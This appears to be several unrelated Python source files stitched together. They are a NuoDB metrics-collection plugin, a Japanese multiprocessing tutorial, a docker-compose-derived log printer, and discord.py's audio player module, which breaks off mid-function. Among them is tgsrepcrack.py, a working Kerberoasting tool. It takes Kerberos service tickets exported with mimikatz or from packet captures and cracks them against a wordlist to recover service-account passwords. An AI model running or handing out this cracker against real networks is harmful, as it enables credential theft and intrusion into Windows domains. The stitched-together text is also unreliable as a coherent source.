from pynuoadmin import nuodb_mgmt
except ImportError:
import nuodb_mgmt
# NuoAdminNuoMonitor plugin
#
# NOTE: This is an Alpha version of a NuoCA plugin that can collect NuoDB
# Engine metrics (NuoMon) from the NuoDB new Admin layer (which is a Beta
# feature for NuoDB release 3.2). This NuoCA plugin has minimal testing and
# is expected to change (or be incorporated into the NuoCA NuoMon plugin)
#
# Example NuoAdminNuoMonitor plugin configuration:
#
# - NuoAdminNuoMonitor:
# description : Collection from internal nuoAdminNuoMonitor tool
# database_regex_pattern: dbt2
# api_server: localhost:8888
# client_key: /opt/nuodb/tls-config/keys/nuocmd.pem
# server_cert: None
# server_id: nuoadmin0
class BaseCollector(object):
def message_received(self, root):
pass
def invalid_message(self, message):
pass
def closed(self):
pass
class BaseMetricsCollector(BaseCollector):
def __init__(self):
super(BaseMetricsCollector, self).__init__()
self.__first = True
self.__process = None
@property
def process(self):
return self.__process
@process.setter
def process(self, p):
self.__process = p
def __get_item(self, attrs):
units = ["COUNT", "MILLISECONDS", "STATE",
"NUMBER", "PERCENT", "IDENTIFIER",
"DELTA"]
return {"unit": units[int(attrs['units']) - 1],
"description": attrs['header']}
# @trace
def message_received(self, root):
def parseStr(x):
try:
return int(x)
except:
return x
items = {}
if root.tag == "Items":
for child in root:
items[child.attrib['name']] = self.__get_item(child.attrib)
items['Database'] = dict(unit="IDENTIFIER", description="Database Name")
items['Region'] = dict(unit="IDENTIFIER", description="Region Name")
self.onStart(items)
return None
elif root.tag == 'Status':
new_values = dict([(k, parseStr(v)) for k, v in root.attrib.iteritems()])
if self.__first:
new_values['Database'] = self.process.db_name
new_values['Region'] = self.process.region_name
self.__first = False
new_values['TimeStamp'] = int(time.time() * 1000.0)
self.onChange(new_values)
return None
def closed(self):
self.onEnd()
pass
class MetricsCollector(BaseMetricsCollector):
""" Base class for metrics collection.
Remembers previous values"""
def __init__(self):
super(MetricsCollector, self).__init__()
self.__metrics = {}
self.__values = {}
pass
@property
def metrics(self):
return self.__metrics
@property
def values(self):
return self.__values
def init(self, args):
return self
def onStart(self, metrics):
""" remembers metrics """
self.__metrics = metrics
def onChange(self, metrics):
""" remembers previous values """
self.__values.update(metrics)
def onEnd(self):
""" zero all values """
zeroMetrics = {}
for k, v in self.__values.iteritems():
if v != 0 and type(v) is int:
zeroMetrics[k] = 0
zeroMetrics['TimeStamp'] = int(time.time() * 1000.0)
self.onChange(zeroMetrics)
pass
class NuoAdminNuoMonMessageConsumer(object):
""" NuoAdminNuoMonMessageConsumer"""
_conn = None
_nuo_monitor_obj = None
def __init__(self, conn, nuo_monitor_obj):
self._conn = conn
self._nuo_monitor_obj = nuo_monitor_obj
self._process_metrics_dict = {}
def get_stats(self, db_name=None, start_id=None, server_id=None):
while self._nuo_monitor_obj._enabled:
try:
for process_msg in self._get_messages(None, db_name,
start_id, server_id):
if process_msg and 'msg' in process_msg:
self._nuo_monitor_obj.nuoAdminNuoMonitor_collect_queue.append(
deepcopy(process_msg['msg']))
except Exception as e:
nuoca_log(logging.ERROR, "Exception in NuoAdminNuoMonMessage"
"ConsumerNuoAdminNuoMon.get_stats: %s"
% str(e))
time.sleep(10)
def _get_messages(self, log_options, db_name, start_id, server_id,
include_process=False):
# message generator is for a single process if `start_id` is specified;
# otherwise, it is aggregated
if start_id is not None:
msg_stream = self._conn.monitor_process(start_id, log_options)
else:
msg_stream = self._conn.monitor_database(db_name, log_options,
keep_open=True)
# filter messages by name based on whether we are streaming stats or
# log messages
message_name = 'Status' if log_options is None else 'LogMessage'
for process, xml_message in msg_stream:
if server_id:
if process.server_id != server_id:
continue
if process.start_id not in self._process_metrics_dict:
mc = MetricsCollector()
self._process_metrics_dict[process.start_id] = mc
mc.process = process
else:
mc = self._process_metrics_dict[process.start_id]
mc.message_received(xml_message)
items = mc.values
json_msg = items
if len(json_msg) != 0:
# add timestamp to message attributes; TODO: in the future, we
# may want to include timestamp on the sending side
if 'Time' not in json_msg:
json_msg['Time'] = self._get_timestamp()
# combine process and message; if `include_process`, return all
# process attributes; otherwise just return start ID
if include_process:
process._dict['msg'] = json_msg
yield process
else:
yield dict(startId=process.start_id, msg=json_msg)
@staticmethod
def _get_timestamp(time_sec=None):
if time_sec is None:
time_sec = time.time()
dt = datetime.datetime.fromtimestamp(time_sec)
return dt.strftime('%Y-%m-%dT%H:%M:%S.%f')
class NuoAdminNuoMonitorPlugin(NuocaMPInputPlugin):
DEFAULT_API_SERVER = 'localhost:8888'
def __init__(self, parent_pipe):
super(NuoAdminNuoMonitorPlugin, self).__init__(parent_pipe, 'NuoAdminNuoMon')
self._config = None
self._nuocaCollectionName = None
self._api_server = NuoAdminNuoMonitorPlugin.DEFAULT_API_SERVER
self._server_id = None
self._client_key = None
self._server_cert = None
self._enabled = False
self._numon_handler_ready = False
self._domain = None
self._domain_metrics = None
self._domain_metrics_host = None
self._database_regex_pattern = '.*'
self._host_uuid_shortname = False
self._thread = None
self._nuoAdminNuoMonitor_collect_queue = []
self._collection_interval = 30
def _get_admin_conn(self):
client_key = self._client_key
if client_key is not None and ',' in client_key:
client_key = client_key.split(',')
if len(client_key) != 2:
raise ValueError(
'Expected at most two tokens for --client-key')
server_cert = self._server_cert
api_server = self._api_server
if (not api_server.startswith('http://') and
not api_server.startswith('https://')): # noqa
if client_key is None and server_cert is None:
api_server = 'http://' + api_server
else:
api_server = 'https://' + api_server
verify = server_cert
if not verify:
verify = False
return nuodb_mgmt.AdminConnection(api_server, client_key, verify)
def wait_for_terminate(self):
if self._domain:
self._domain.waitForTerminate()
@property
def nuoAdminNuoMonitor_collect_queue(self):
return self._nuoAdminNuoMonitor_collect_queue
def _NuoAdminNuoMon_handler_thread(self):
self._numon_handler_ready = True
self._domain_metrics.get_stats(server_id=self._server_id)
def startup_NuoAdminNuoMon(self):
try:
self._numon_handler_ready = False
self._conn = self._get_admin_conn()
self._enabled = True
self._domain_metrics = NuoAdminNuoMonMessageConsumer(self._conn, self)
self._thread = threading.Thread(target=self._NuoAdminNuoMon_handler_thread)
self._thread.daemon = True
self._thread.start()
try_count = 0
while not self._numon_handler_ready and try_count < 5:
try_count += 1
time.sleep(1)
return self._numon_handler_ready
except Exception as e:
nuoca_log(logging.ERROR, "NuoAdminNuoMon Startup error: %s" % str(e))
return False
def startup(self, config=None):
try:
self._config = config
# Validate the configuration.
required_config_items = ['api_server']
if not self.has_required_config_items(config, required_config_items):
return False
# Don't reveal the domain password in the NuoCA log file.
display_config = {}
display_config.update(config)
display_config['domain_password'] = ''
nuoca_log(logging.INFO, "NuoAdminNuoMon: plugin config: %s" %
str(display_config))
self._api_server = os.path.expandvars(config['api_server'])
if 'server_id' in config:
self._server_id = os.path.expandvars(config['server_id'])
if 'client_key' in config:
self._client_key = os.path.expandvars(config['client_key'])
if 'server_cert' in config:
self._server_cert = os.path.expandvars(config['server_cert'])
if 'nuocaCollectionName' in config:
self._nuocaCollectionName = config['nuocaCollectionName']
if 'domain_metrics_host' in config:
self._domain_metrics_host = os.path.expandvars(config['domain_metrics_host'])
if self._domain_metrics_host == 'localhost':
self._domain_metrics_host = socket.gethostname()
if 'database_regex_pattern' in config:
self._database_regex_pattern = config['database_regex_pattern']
if 'host_uuid_shortname' in config:
self._host_uuid_shortname = config['host_uuid_shortname']
self.startup_NuoAdminNuoMon()
return self._numon_handler_ready
except Exception as e:
nuoca_log(logging.ERROR, "NuoAdminNuoMon Plugin Startup error: %s" % str(e))
return False
def shutdown(self):
self._enabled = False
pass
def collect(self, collection_interval):
uuid_hostname_regex = \
'^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}-'
rval = None
self._collection_interval = collection_interval
try:
nuoca_log(logging.DEBUG, "NuoAdminNuoMon: collect()")
base_values = super(NuoAdminNuoMonitorPlugin, self).collect(collection_interval)
collection_count = len(self._nuoAdminNuoMonitor_collect_queue)
nuoca_log(logging.DEBUG, "NuoAdminNuoMon: collection_count %s" %
str(collection_count))
if not collection_count:
return rval
rval = []
for i in range(collection_count):
collected_dict = self._nuoAdminNuoMonitor_collect_queue.pop(0)
if self._domain_metrics_host and 'Hostname' in collected_dict:
if collected_dict['Hostname'] != self._domain_metrics_host:
continue
if self._nuocaCollectionName:
collected_dict['nuocaCollectionName'] = self._nuocaCollectionName
if 'Database' in collected_dict:
m = re.search(self._database_regex_pattern, collected_dict['Database'])
if m:
if self._host_uuid_shortname:
m2 = re.search(uuid_hostname_regex, collected_dict['Hostname'])
if m2:
shortid = collected_dict['Hostname'][37:]
if 'NodeType' in collected_dict:
if collected_dict['NodeType'] == 'Transaction':
shortid += "(TE)"
elif collected_dict['NodeType'] == 'Storage':
shortid += "(SM)"
shortid_with_pid = shortid + str(collected_dict['ProcessId'])
collected_dict['HostShortID'] = shortid
collected_dict['HostShortIDwithPID'] = shortid_with_pid
rval.append(collected_dict)
else:
rval.append(collected_dict)
except Exception as e:
nuoca_log(logging.ERROR, str(e))
return rval
|
tgsrepcrack.py | #!/usr/local/bin/python2 -tt
import kerberos
from pyasn1.codec.ber import encoder, decoder
from multiprocessing import Process, JoinableQueue, Manager
import glob
wordlist = JoinableQueue()
enctickets = None
#ENDOFQUEUE = 'ENDOFQUEUEENDOFQUEUEENDOFQUEUE'
def loadwordlist(wordlistfile, wordlistqueue, threadcount):
with open(wordlistfile, 'rb') as f:
for w in f.xreadlines():
wordlistqueue.put(w.strip(), True)
for i in range(threadcount):
wordlistqueue.put('ENDOFQUEUEENDOFQUEUEENDOFQUEUE')
def crack(wordlist, enctickets):
toremove = []
while enctickets:
word = wordlist.get()
if word == 'ENDOFQUEUEENDOFQUEUEENDOFQUEUE':
break
#print "trying %s" % word
for et in enctickets:
kdata, nonce = kerberos.decrypt(kerberos.ntlmhash(word), 2, et[0])
if kdata:
print 'found password for ticket %i: %s File: %s' % (et[1], word, et[2])
toremove.append(et)
for et in toremove:
try:
enctickets.remove(et)
except:
return
if not enctickets:
return
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='Read kerberos ticket then modify it')
parser.add_argument('wordlistfile', action='store',
metavar='dictionary.txt', type=file, # windows closes it in thread
help='the word list to use with password cracking')
parser.add_argument('files', nargs='+', metavar='file.kirbi',
help='File name to crack. Use asterisk \'*\' for many files.\n Files are exported with mimikatz or from extracttgsrepfrompcap.py')
parser.add_argument('-t', '--threads', dest='threads', action='store', required=False,
metavar='NUM', type=int, default=5,
help='Number of threads for guessing')
args = parser.parse_args()
if args.threads < 1:
raise ValueError("Number of threads is too small")
p = Process(target=loadwordlist, args=(args.wordlistfile.name, wordlist, args.threads))
p.start()
# is this a dump from extactrtgsrepfrompcap.py or a dump from ram (mimikatz)
manager = Manager()
enctickets = manager.list()
i = 0
for path in args.files:
for f in glob.glob(path):
with open(f, 'rb') as fd:
data = fd.read()
#data = open('f.read()
if data[0] == '\x76':
# rem dump
enctickets.append((str(decoder.decode(data)[0][2][0][3][2]), i, f))
i += 1
elif data[:2] == '6d':
for ticket in data.strip().split('\n'):
enctickets.append((str(decoder.decode(ticket.decode('hex'))[0][4][3][2]), i, f))
i += 1
crackers = []
for i in range(args.threads):
p = Process(target=crack, args=(wordlist,enctickets))
p.start()
crackers.append(p)
for p in crackers:
p.join()
wordlist.close()
if len(enctickets):
print "Unable to crack %i tickets" % len(enctickets)
else:
print "All tickets cracked!"
|
multiprocessing01.py | # coding: utf-8
"""
multiprocessingモジュールについてのサンプルです。
"""
import multiprocessing
import os
import time
from trypython.common.commoncls import SampleBase
from trypython.common.commonfunc import pr
class Sample(SampleBase):
def exec(self):
#
# multiprocessingモジュール
# threadingと似た構成を持つモジュール。threadingがスレッドを扱うのに
# 対して、こちらはプロセスを扱う。Pythonでは、GILの絡みがあって
# マルチコアな処理をthreadingで記述することが難しいため
# そのような処理を記述する場合は multiprocessing モジュールを利用する
#
# つまり、CPUバウンドな処理の場合は multiprocessing, IOバウンドな処理は
# threadingのような利用用途となる。
#
#
# multiprocessingモジュールで最も基本的なものが Process.
# その名の通り、プロセスを表す。
#
c01 = multiprocessing.current_process()
p01 = multiprocessing.Process(target=Sample.fn01, args=['hello from another process'])
pr('current process', c01.pid)
p01.start() # 開始
p01.join() # 終了待機
#
# 便利なものとして、Pool がある。
# 指定した数のプロセスを起動してコネクションプールのように扱える
#
with multiprocessing.Pool(os.cpu_count()) as pl:
pr('Pool.map()', pl.map(Sample.fn02, list(range(10))))
@staticmethod
def fn01(message):
pr('fn01', f'{os.getpid()}-{message}')
@staticmethod
def fn02(x):
pr('pid()', os.getpid())
time.sleep(1)
return x * x
def go():
obj = Sample()
obj.exec()
|
log_printer.py | # Forked from docker-compose
from __future__ import absolute_import
from __future__ import unicode_literals
import sys
import os
import threading
from collections import namedtuple
from itertools import cycle
from threading import Thread
from six.moves import _thread as thread
from six.moves.queue import Empty
from six.moves.queue import Queue
from universe.remotes.compose import colors, utils
from universe.remotes.compose.signals import ShutdownException
from universe.remotes.compose.utils import split_buffer
def build(containers, service_names, **kwargs):
monochrome = not os.isatty(1)
presenters = build_log_presenters(service_names, monochrome)
printer = LogPrinter(containers, presenters, **kwargs)
printer.start()
class LogPresenter(object):
def __init__(self, prefix_width, color_func):
self.prefix_width = prefix_width
self.color_func = color_func
def present(self, container, line):
prefix = container.name_without_project.ljust(self.prefix_width)
return '{prefix} {line}'.format(
prefix=self.color_func(prefix + ' |'),
line=line)
def build_log_presenters(service_names, monochrome):
"""Return an iterable of functions.
Each function can be used to format the logs output of a container.
"""
prefix_width = max_name_width(service_names)
def no_color(text):
return text
for color_func in cycle([no_color] if monochrome else colors.rainbow()):
yield LogPresenter(prefix_width, color_func)
def max_name_width(service_names, max_index_width=3):
"""Calculate the maximum width of container names so we can make the log
prefixes line up like so:
db_1 | Listening
web_1 | Listening
"""
return max(len(name) for name in service_names) + max_index_width
class LogPrinter(threading.Thread):
"""Print logs from many containers to a single output stream."""
daemon = True
def __init__(self,
containers,
presenters,
output=sys.stdout,
cascade_stop=False,
log_args=None):
super(LogPrinter, self).__init__(name='LogPrinter')
self.containers = containers
self.presenters = presenters
self.output = utils.get_output_stream(output)
self.cascade_stop = cascade_stop
self.log_args = log_args or {}
def run(self):
if not self.containers:
return
queue = Queue()
thread_args = queue, self.log_args
thread_map = build_thread_map(self.containers, self.presenters, thread_args)
for line in consume_queue(queue, self.cascade_stop):
remove_stopped_threads(thread_map)
if not line:
if not thread_map:
# There are no running containers left to tail, so exit
return
# We got an empty line because of a timeout, but there are still
# active containers to tail, so continue
continue
try:
self.output.write(line)
self.output.flush()
except ValueError:
# ValueError: I/O operation on closed file
break
def remove_stopped_threads(thread_map):
for container_id, tailer_thread in list(thread_map.items()):
if not tailer_thread.is_alive():
thread_map.pop(container_id, None)
def build_thread(container, presenter, queue, log_args):
tailer = Thread(
target=tail_container_logs,
args=(container, presenter, queue, log_args))
tailer.daemon = True
tailer.start()
return tailer
def build_thread_map(initial_containers, presenters, thread_args):
return {
container.id: build_thread(container, next(presenters), *thread_args)
for container in initial_containers
}
class QueueItem(namedtuple('_QueueItem', 'item is_stop exc')):
@classmethod
def new(cls, item):
return cls(item, None, None)
@classmethod
def exception(cls, exc):
return cls(None, None, exc)
@classmethod
def stop(cls):
return cls(None, True, None)
def tail_container_logs(container, presenter, queue, log_args):
generator = get_log_generator(container)
try:
for item in generator(container, log_args):
queue.put(QueueItem.new(presenter.present(container, item)))
except Exception as e:
queue.put(QueueItem.exception(e))
return
if log_args.get('follow'):
queue.put(QueueItem.new(presenter.color_func(wait_on_exit(container))))
queue.put(QueueItem.stop())
def get_log_generator(container):
if container.has_api_logs:
return build_log_generator
return build_no_log_generator
def build_no_log_generator(container, log_args):
"""Return a generator that prints a warning about logs and waits for
container to exit.
"""
yield "WARNING: no logs are available with the '{}' log driver\n".format(
container.log_driver)
def build_log_generator(container, log_args):
# if the container doesn't have a log_stream we need to attach to container
# before log printer starts running
if container.log_stream is None:
stream = container.logs(stdout=True, stderr=True, stream=True, **log_args)
else:
stream = container.log_stream
return split_buffer(stream)
def wait_on_exit(container):
exit_code = container.wait()
return "%s exited with code %s\n" % (container.name, exit_code)
def start_producer_thread(thread_args):
producer = Thread(target=watch_events, args=thread_args)
producer.daemon = True
producer.start()
def watch_events(thread_map, event_stream, presenters, thread_args):
for event in event_stream:
if event['action'] == 'stop':
thread_map.pop(event['id'], None)
if event['action'] != 'start':
continue
if event['id'] in thread_map:
if thread_map[event['id']].is_alive():
continue
# Container was stopped and started, we need a new thread
thread_map.pop(event['id'], None)
thread_map[event['id']] = build_thread(
event['container'],
next(presenters),
*thread_args)
def consume_queue(queue, cascade_stop):
"""Consume the queue by reading lines off of it and yielding them."""
while True:
try:
item = queue.get(timeout=0.1)
except Empty:
yield None
continue
# See https://github.com/docker/compose/issues/189
except thread.error:
raise ShutdownException()
if item.exc:
raise item.exc
if item.is_stop:
if cascade_stop:
raise StopIteration
else:
continue
yield item.item
|
player.py | """
The MIT License (MIT)
Copyright (c) 2015-present Rapptz
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
"""
from __future__ import annotations
import threading
import traceback
import subprocess
import audioop
import asyncio
import logging
import shlex
import time
import json
import sys
import re
import io
from typing import Any, Callable, Generic, IO, Optional, TYPE_CHECKING, Tuple, Type, TypeVar, Union
from .errors import ClientException
from .opus import Encoder as OpusEncoder
from .oggparse import OggStream
from .utils import MISSING
if TYPE_CHECKING:
from .voice_client import VoiceClient
AT = TypeVar('AT', bound='AudioSource')
FT = TypeVar('FT', bound='FFmpegOpusAudio')
_log = logging.getLogger(__name__)
__all__ = (
'AudioSource',
'PCMAudio',
'FFmpegAudio',
'FFmpegPCMAudio',
'FFmpegOpusAudio',
'PCMVolumeTransformer',
)
CREATE_NO_WINDOW: int
if sys.platform != 'win32':
CREATE_NO_WINDOW = 0
else:
CREATE_NO_WINDOW = 0x08000000
class AudioSource:
"""Represents an audio stream.
The audio stream can be Opus encoded or not, however if the audio stream
is not Opus encoded then the audio format must be 16-bit 48KHz stereo PCM.
.. warning::
The audio source reads are done in a separate thread.
"""
def read(self) -> bytes:
"""Reads 20ms worth of audio.
Subclasses must implement this.
If the audio is complete, then returning an empty
:term:`py:bytes-like object` to signal this is the way to do so.
If :meth:`~AudioSource.is_opus` method returns ``True``, then it must return
20ms worth of Opus encoded audio. Otherwise, it must be 20ms
worth of 16-bit 48KHz stereo PCM, which is about 3,840 bytes
per frame (20ms worth of audio).
Returns
--------
:class:`bytes`
A bytes like object that represents the PCM or Opus data.
"""
raise NotImplementedError
def is_opus(self) -> bool:
"""Checks if the audio source is already encoded in Opus."""
return False
def cleanup(self) -> None:
"""Called when clean-up is needed to be done.
Useful for clearing buffer data or processes after
it is done playing audio.
"""
pass
def __del__(self) -> None:
self.cleanup()
class PCMAudio(AudioSource):
"""Represents raw 16-bit 48KHz stereo PCM audio source.
Attributes
-----------
stream: :term:`py:file object`
A file-like object that reads byte data representing raw PCM.
"""
def __init__(self, stream: io.BufferedIOBase) -> None:
self.stream: io.BufferedIOBase = stream
def read(self) -> bytes:
ret = self.stream.read(OpusEncoder.FRAME_SIZE)
if len(ret) != OpusEncoder.FRAME_SIZE:
return b''
return ret
class FFmpegAudio(AudioSource):
"""Represents an FFmpeg (or AVConv) based AudioSource.
User created AudioSources using FFmpeg differently from how :class:`FFmpegPCMAudio` and
:class:`FFmpegOpusAudio` work should subclass this.
.. versionadded:: 1.3
"""
def __init__(self, source: Union[str, io.BufferedIOBase], *, executable: str = 'ffmpeg', args: Any, **subprocess_kwargs: Any):
piping = subprocess_kwargs.get('stdin') == subprocess.PIPE
if piping and isinstance(source, str):
raise TypeError("parameter conflict: 'source' parameter cannot be a string when piping to stdin")
args = [executable, *args]
kwargs = {'stdout': subprocess.PIPE}
kwargs.update(subprocess_kwargs)
self._process: subprocess.Popen = self._spawn_process(args, **kwargs)
self._stdout: IO[bytes] = self._process.stdout # type: ignore
self._stdin: Optional[IO[bytes]] = None
self._pipe_thread: Optional[threading.Thread] = None
if piping:
n = f'popen-stdin-writer:{id(self):#x}'
self._stdin = self._process.stdin
self._pipe_thread = threading.Thread(target=self._pipe_writer, args=(source,), daemon=True, name=n)
self._pipe_thread.start()
def _spawn_process(self, args: Any, **subprocess_kwargs: Any) -> subprocess.Popen:
process = None
try:
process = subprocess.Popen(args, creationflags=CREATE_NO_WINDOW, **subprocess_kwargs)
except FileNotFoundError:
executable = args.partition(' ')[0] if isinstance(args, str) else args[0]
raise ClientException(executable + ' was not found.') from None
except subprocess.SubprocessError as exc:
raise ClientException(f'Popen failed: {exc.__class__.__name__}: {exc}') from exc
else:
return process
def _kill_process(self) -> None:
proc = self._process
if proc is MISSING:
return
_log.info('Preparing to terminate ffmpeg process %s.', proc.pid)
try:
proc.kill()
except Exception:
_log.exception('Ignoring error attempting to kill ffmpeg process %s', proc.pid)
if proc.poll() is None:
_log.info('ffmpeg process %s has not terminated. Waiting to terminate...', proc.pid)
proc.communicate()
_log.info('ffmpeg process %s should have terminated with a return code of %s.', proc.pid, proc.returncode)
else:
_log.info('ffmpeg process %s successfully terminated with return code of %s.', proc.pid, proc.returncode)
def _pipe_writer(self, source: io.BufferedIOBase) -> None:
while self._process:
# arbitrarily large read size
data = source.read(8192)
if not data:
self._process.terminate()
return
try:
self._stdin.write(data)
except Exception:
_log.debug('Write error for %s, this is probably not a problem', self, exc_info=True)
# at this point the source data is either exhausted or the process is fubar
self._process.terminate()
return
def cleanup(self) -> None:
self._kill_process()
self._process = self._stdout = self._stdin = MISSING
class FFmpegPCMAudio(FFmpegAudio):
"""An audio source from FFmpeg (or AVConv).
This launches a sub-process to a specific input file given.
.. warning::
You must have the ffmpeg or avconv executable in your path environment
variable in order for this to work.
Parameters
------------
source: Union[:class:`str`, :class:`io.BufferedIOBase`]
The input that ffmpeg will take and convert to PCM bytes.
If ``pipe`` is ``True`` then this is a file-like object that is
passed to the stdin of ffmpeg.
executable: :class:`str`
The executable name (and path) to use. Defaults to ``ffmpeg``.
pipe: :class:`bool`
If ``True``, denotes that ``source`` parameter will be passed
to the stdin of ffmpeg. Defaults to ``False``.
stderr: Optional[:term:`py:file object`]
A file-like object to pass to the Popen constructor.
Could also be an instance of ``subprocess.PIPE``.
before_options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg before the ``-i`` flag.
options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg after the ``-i`` flag.
Raises
--------
ClientException
The subprocess failed to be created.
"""
def __init__(
self,
source: Union[str, io.BufferedIOBase],
*,
executable: str = 'ffmpeg',
pipe: bool = False,
stderr: Optional[IO[str]] = None,
before_options: Optional[str] = None,
options: Optional[str] = None
) -> None:
args = []
subprocess_kwargs = {'stdin': subprocess.PIPE if pipe else subprocess.DEVNULL, 'stderr': stderr}
if isinstance(before_options, str):
args.extend(shlex.split(before_options))
args.append('-i')
args.append('-' if pipe else source)
args.extend(('-f', 's16le', '-ar', '48000', '-ac', '2', '-loglevel', 'warning'))
if isinstance(options, str):
args.extend(shlex.split(options))
args.append('pipe:1')
super().__init__(source, executable=executable, args=args, **subprocess_kwargs)
def read(self) -> bytes:
ret = self._stdout.read(OpusEncoder.FRAME_SIZE)
if len(ret) != OpusEncoder.FRAME_SIZE:
return b''
return ret
def is_opus(self) -> bool:
return False
class FFmpegOpusAudio(FFmpegAudio):
"""An audio source from FFmpeg (or AVConv).
This launches a sub-process to a specific input file given. However, rather than
producing PCM packets like :class:`FFmpegPCMAudio` does that need to be encoded to
Opus, this class produces Opus packets, skipping the encoding step done by the library.
Alternatively, instead of instantiating this class directly, you can use
:meth:`FFmpegOpusAudio.from_probe` to probe for bitrate and codec information. This
can be used to opportunistically skip pointless re-encoding of existing Opus audio data
for a boost in performance at the cost of a short initial delay to gather the information.
The same can be achieved by passing ``copy`` to the ``codec`` parameter, but only if you
know that the input source is Opus encoded beforehand.
.. versionadded:: 1.3
.. warning::
You must have the ffmpeg or avconv executable in your path environment
variable in order for this to work.
Parameters
------------
source: Union[:class:`str`, :class:`io.BufferedIOBase`]
The input that ffmpeg will take and convert to Opus bytes.
If ``pipe`` is ``True`` then this is a file-like object that is
passed to the stdin of ffmpeg.
bitrate: :class:`int`
The bitrate in kbps to encode the output to. Defaults to ``128``.
codec: Optional[:class:`str`]
The codec to use to encode the audio data. Normally this would be
just ``libopus``, but is used by :meth:`FFmpegOpusAudio.from_probe` to
opportunistically skip pointlessly re-encoding Opus audio data by passing
``copy`` as the codec value. Any values other than ``copy``, ``opus``, or
``libopus`` will be considered ``libopus``. Defaults to ``libopus``.
.. warning::
Do not provide this parameter unless you are certain that the audio input is
already Opus encoded. For typical use :meth:`FFmpegOpusAudio.from_probe`
should be used to determine the proper value for this parameter.
executable: :class:`str`
The executable name (and path) to use. Defaults to ``ffmpeg``.
pipe: :class:`bool`
If ``True``, denotes that ``source`` parameter will be passed
to the stdin of ffmpeg. Defaults to ``False``.
stderr: Optional[:term:`py:file object`]
A file-like object to pass to the Popen constructor.
Could also be an instance of ``subprocess.PIPE``.
before_options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg before the ``-i`` flag.
options: Optional[:class:`str`]
Extra command line arguments to pass to ffmpeg after the ``-i`` flag.
Raises
--------
ClientException
The subprocess failed to be created.
"""
def __init__(
self,
source: Union[str, io.BufferedIOBase],
*,
bitrate: int = 128,
codec: Optional[str] = None,
executable: str = 'ffmpeg',
pipe=False,
stderr=None,
before_options=None,
options=None,
) -> None:
args = []
subprocess_kwargs = {'stdin': subprocess.PIPE if pipe else subprocess.DEVNULL, 'stderr': stderr}
if isinstance(before_options, str):
args.extend(shlex.split(before_options))
args.append('-i')
args.append('-' if pipe else source)
codec = 'copy' if codec in ('opus', 'libopus') else 'libopus'
args.extend(('-map_metadata', '-1',
'-f', 'opus',
'-c:a', codec,
'-ar', '48000',
'-ac', '2',
'-b:a', f'{bitrate}k',
'-loglevel', 'warning'))
if isinstance(options, str):
args.extend(shlex.split(options))
args.append('pipe:1')
super().__init__(source, executable=executable, args=args, **subprocess_kwargs)
self._packet_iter = OggStream(self._stdout).iter_packets()
@classmethod
async def from_probe(
cls: Type[FT],
source: str,
*,
method: Optional[Union[str, Callable[[str, str], Tuple[Optional[str], Optional[int]]]]] = None,
**kwargs: Any,
) -> FT:
"""|coro|
A factory method that creates a :class:`FFmpegOpusAudio` after probing
the input source for audio codec and bitrate information.
Examples
----------
Use this function to create an :class:`FFmpegOpusAudio` instance instead of the constructor: ::
source = await discord.FFmpegOpusAudio.from_probe("song.webm")
voice_client.play(source)
If you are on Windows and don't have ffprobe installed, use the ``fallback`` method
to probe using ffmpeg instead: ::
source = await discord.FFmpegOpusAudio.from_probe("song.webm", method='fallback')
voice_client.play(source)
Using a custom method of determining codec and bitrate: ::
def custom_probe(source, executable):
# some analysis code here
return codec, bitrate
source = await discord.FFmpegOpusAudio.from_probe("song.webm", method=custom_probe)
voice_client.play(source)
Parameters
------------
source
Identical to the ``source`` parameter for the constructor.
method: Optional[Union[:class:`str`, Callable[:class:`str`, :class:`str`]]]
The probing method used to determine bitrate and codec information. As a string, valid
values are ``native`` to use ffprobe (or avprobe) and ``fallback`` to use ffmpeg
(or avconv). As a callable, it must take two string arguments, ``source`` and
``executable``. Both parameters are the same values passed to this factory function.
``executable`` will default to ``ffmpeg`` if not provided as a keyword argument.
kwargs
The remaining parameters to be passed to the :class:`FFmpegOpusAudio` constructor,
excluding ``bitrate`` and ``codec``.
Raises
--------
AttributeError
Invalid probe method, must be ``'native'`` or ``'fallback'``.
TypeError
Invalid value for ``probe`` parameter, must be :class:`str` or a callable.
Returns
--------
:class:`FFmpegOpusAudio`
An instance of this class.
"""
executable = kwargs.get('executable')
codec, bitrate = await cls.probe(source, method=method, executable=executable)
return cls(source, bitrate=bitrate, codec=codec, **kwargs) # type: ignore
@classmethod
async def probe(
cls,
source: str,
*,
method: Optional[Union[str, Callable[[str, str], Tuple[Optional[str], Optional[int]]]]] = None,
executable: Optional[str] = None,
) -> Tuple[Optional[str], Optional[int]]:
"""|coro|
Probes the input source for bitrate and codec information.
Parameters
------------
source
Identical to the ``source`` parameter for :class:`FFmpegOpusAudio`.
method
Identical to the ``method`` parameter for :meth:`FFmpegOpusAudio.from_probe`.
executable: :class:`str`
Identical to the ``executable`` parameter for :class:`FFmpegOpusAudio`.
Raises
--------
AttributeError
Invalid probe method, must be ``'native'`` or ``'fallback'``.
TypeError
Invalid value for ``probe`` parameter, must be :class:`str` or a callable.
Returns
---------
Optional[Tuple[Optional[:class:`str`], Optional[:class:`int`]]]
A 2-tuple with the codec and bitrate of the input source.
"""
method = method or 'native'
executable = executable or 'ffmpeg'
probefunc = fallback = None
if isinstance(method, str):
probefunc = getattr(cls, '_probe_codec_' + method, None)
if probefunc is None:
raise AttributeError(f"Invalid probe method {method!r}")
